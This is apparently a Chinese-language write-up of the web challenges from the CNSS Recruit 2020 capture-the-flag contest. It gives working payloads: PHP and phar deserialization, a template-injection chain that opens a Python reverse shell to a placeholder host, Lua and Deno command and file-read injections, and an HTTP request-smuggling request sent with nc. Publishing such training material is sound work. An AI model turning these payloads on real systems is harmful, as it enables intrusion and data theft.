0%

CNSS Recruit 2020 WriteUp

CNSS Recruit 2020 WriteUp

菜鸡又一次来尝试cnss招新赛了…整体感觉还行,最终成绩30000左右,排名不错,比去年好qaq

下面是web分方向的wp。

Web

做题须知

复制flag即可

第一次冒险

打开网页发现需要GET一个answer.直接?answer=yes即可,随后进入下一关发现需要post一个answer,这里使用FireFox的hackbar或者请求重发即可完成。最后发现flag藏在Cookie里,base64解码即可.

更简单的计算题

打开页面发现需要计算一个数学题,但是提交框被disable,长度被限制为5。F12取消这些限制即可。

卖菜刀

打开页面发现黑色页面下面有个eval($_POST['x5tar']),直接蚁剑连接,根目录获取flag。

最有趣的语言

php反序列化,直接按题目逻辑读取flag即可。payload:

1
?interesting=O:4:"Flag":4:{s:1:"a";s:1:"1";s:4:"%00*%00b";s:1:"2";s:7:"%00Flag%00c";s:1:"3";}
你喜欢玩🐍吗

这个题考察python模板注入。

首先测试{{3*3}}发现返回9,存在模板注入。

随后通过''.__class__.__mro__[1].subclasses__()来查看可用的类。随后找到第134个<class '_sitebuiltins._Printer'>,这里面有我们需要的执行命令的函数。查看该类的初始化方法的全局变量:''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__,随后发现builtins中有我们需要的exec执行代码的函数。故构造如下payload:

1
/?name={{%27%27.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__.__builtins__.exec("import%20os;%20os.system(%27ls%27)")}}

但是发现返回none,故考虑题目无回显,需要反弹shell,这里采用python建立socket连接的方法反弹shell。最终payload:

1
/?name=%7B%7B''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__.__builtins__.exec('import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xxx.xxx.xxx.xxx%22,2333));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22bash%22,%22-i%22]);')%7D%7D

随后即可成功反弹shell,根目录下读取flag即可。

给我康康你的照片

这个题考察phar反序列化。

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。

php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。

phar文件的本质是个压缩文件,文件包含stub, manifest, content, signature四个部分。其中最容易出现漏洞的是manifest部分,因为这部分存放了以序列化的形式存在的用户自定义的meta-data。

本题只需构造一个phar文件随后修改文件格式上传,通过存在phar反序列化漏洞的file_get_contents函数即可完成反序列化读取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Flag {
public $a;
protected $b;
private $c;
function __construct($a, $b, $c){
$this->a = $a;
$this->b = $b;
$this->c = $c;
}
}

$p = new Phar("phar.phar");
$p->startBuffering();
$p->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new Flag("1","2","3");
$p->setMetadata($o);
$p->addFromString("test.txt", "test");
$p->stopBuffering();
?>
1
2
php phar.php
mv phar.php phar.gif

随后将文件上传,再在s3cr3t.php通过phar://伪协议读取即可。

1
s3cr3t.php?interesting=phar://upload/d6c4571139668571919d046283106899/1a8add7a66c8201bd172b6a721aa73e0.gif
你的菜刀钝了

这个题的考察点是通过管道来进行进程间通信。蚁剑连上服务器后,发现根目录下的flag文件收到保护,www-data用户无权限读,只能使用/readflag来完成读取。在蚁剑中打开终端,运行/readflag发现我们还没有输入程序就直接结束了。

我们将/readflag文件下载下来,拖入ida中,F5查看伪代码。随后理清程序逻辑,发现我们需要输入y,然后计算两个简单的数学题,一个是1+1,另一个是随机的两个数相加。但是我们没有办法输入,怎么办呢?

这里会产生三种思路,第一种是借助LD_PRELOAD环境变量劫持函数,使其输出flag,第二种是通过想办法寻找/readflag本身的漏洞(例如栈溢出),改变程序逻辑调用print_flag函数,第三种就是借助管道的方式来完成与程序的交互。

首先第一种,我们检查一下文件的读写属性,发现:

1
-rwsr-xr-x   1 root root 17248 Oct 25 14:56 readflag

发现程序有有SUID权限,故它会忽略掉LD_PRELOAD环境变量,这个方法看来不能用了。

尝试第二个方法,发现好像没有明显的可以利用的漏洞,而且web题考栈溢出这种pwn知识点应该也不太对劲….

那么就剩第三个方法了。这里使用perl建立管道进行操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/mnt/c/Users/su29029/Desktop/readflag' ) or die "open3() failed!";

my $r;
$r = <CHLD_OUT>;
print $r;
print CHLD_IN "y\n";
$r = <CHLD_OUT>;
print $r;
$r = <CHLD_OUT>;
print $r;
$r = <CHLD_OUT>;
print $r;
print CHLD_IN "2\n";
$r = <CHLD_OUT>; # smart
print $r;
$r = <CHLD_OUT>; # next
print $r;
$r = <CHLD_OUT>; # harder
print $r;
$r = <CHLD_OUT>; # what is
print $r;
$r = <CHLD_OUT>; # big number
print $r;
$r = eval "$r";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print $r;
$r = <CHLD_OUT>;
print $r;
easyCalc

这个题考察信息收集能力。(本人没有过多注意OpenResty导致搞了半天最后是试出来的qwq,通过发现[[]]可以回显正常字符串判断后端是lua)通过OpenResty发现后端是lua,随后谷歌一下就知道了lua的执行命令函数,直接执行即可(注意一下urldecode)

1
/?calc=io.popen(ngx.unescape_uri([[cat /flag]])):read([[*all]])
easyRust

本题依旧考察信息收集能力。(cg的题总是好阴间)点开链接发现提示Math.sin(1)联想到nodejs,但是发现很多nodejs的全局内置对象什么的都没有,随后题目又给了rust,联想到了一个nodejs作者的新项目Deno(Deno是用rust写的),随后尝试Deno,发现回显正常。

ps.可以通过Object.entries()方法读取对象的属性,以判断这个对象是否适合用来执行命令or读取文件等。

最终payload:

1
/calc?q=Deno[String.fromCharCode(114,101,97,100,70,105,108,101,83,121,110,99)](%27/flag%27)
SmartGling

本题考察http请求走私。注意观察http响应头中的服务器是ATS/7.1.2,谷歌一下,简单信息收集可以发现ATS/7.1.2最主要的漏洞点就是http请求走私。这里主要的走私点是不同的服务器对Content-Length请求头的处理不同导致的。ATS服务器遇到”Content-Length :”(冒号前面有个空格)这样的请求头时,会认为他是一个合法的请求头,而ATS的下游Nginx服务器遇到它时会认为它是一个非法的请求头而忽略它,但是不会回显400,这时如果我们在请求体中写入数据,nginx会将请求体中的数据认定成下一个请求,如果完整则直接处理,不完整则会将数据放入缓冲区中,等待接下来的请求发来,随后与前面缓冲区中的数据进行拼接。

再观察题目发现管理员每10秒访问一次,这里可以形成一个完整的思路链。首先发送一个正常的请求,请求体中走私一个/upgrade的请求,等管理员访问的时候,管理员发送的请求拼接到我们的/upgrade请求头中即可完成ROLE的升级。

payload:

1
printf 'GET / HTTP/1.1\r\nHost: 47.107.115.177:9999\r\nContent-Length : 45\r\n\r\nGET /upgrade_role?role=123456 HTTP/1.1\r\nfoo: ' | nc 47.107.115.177 9999

随后发送ROLE: 123456的header去getflag即可。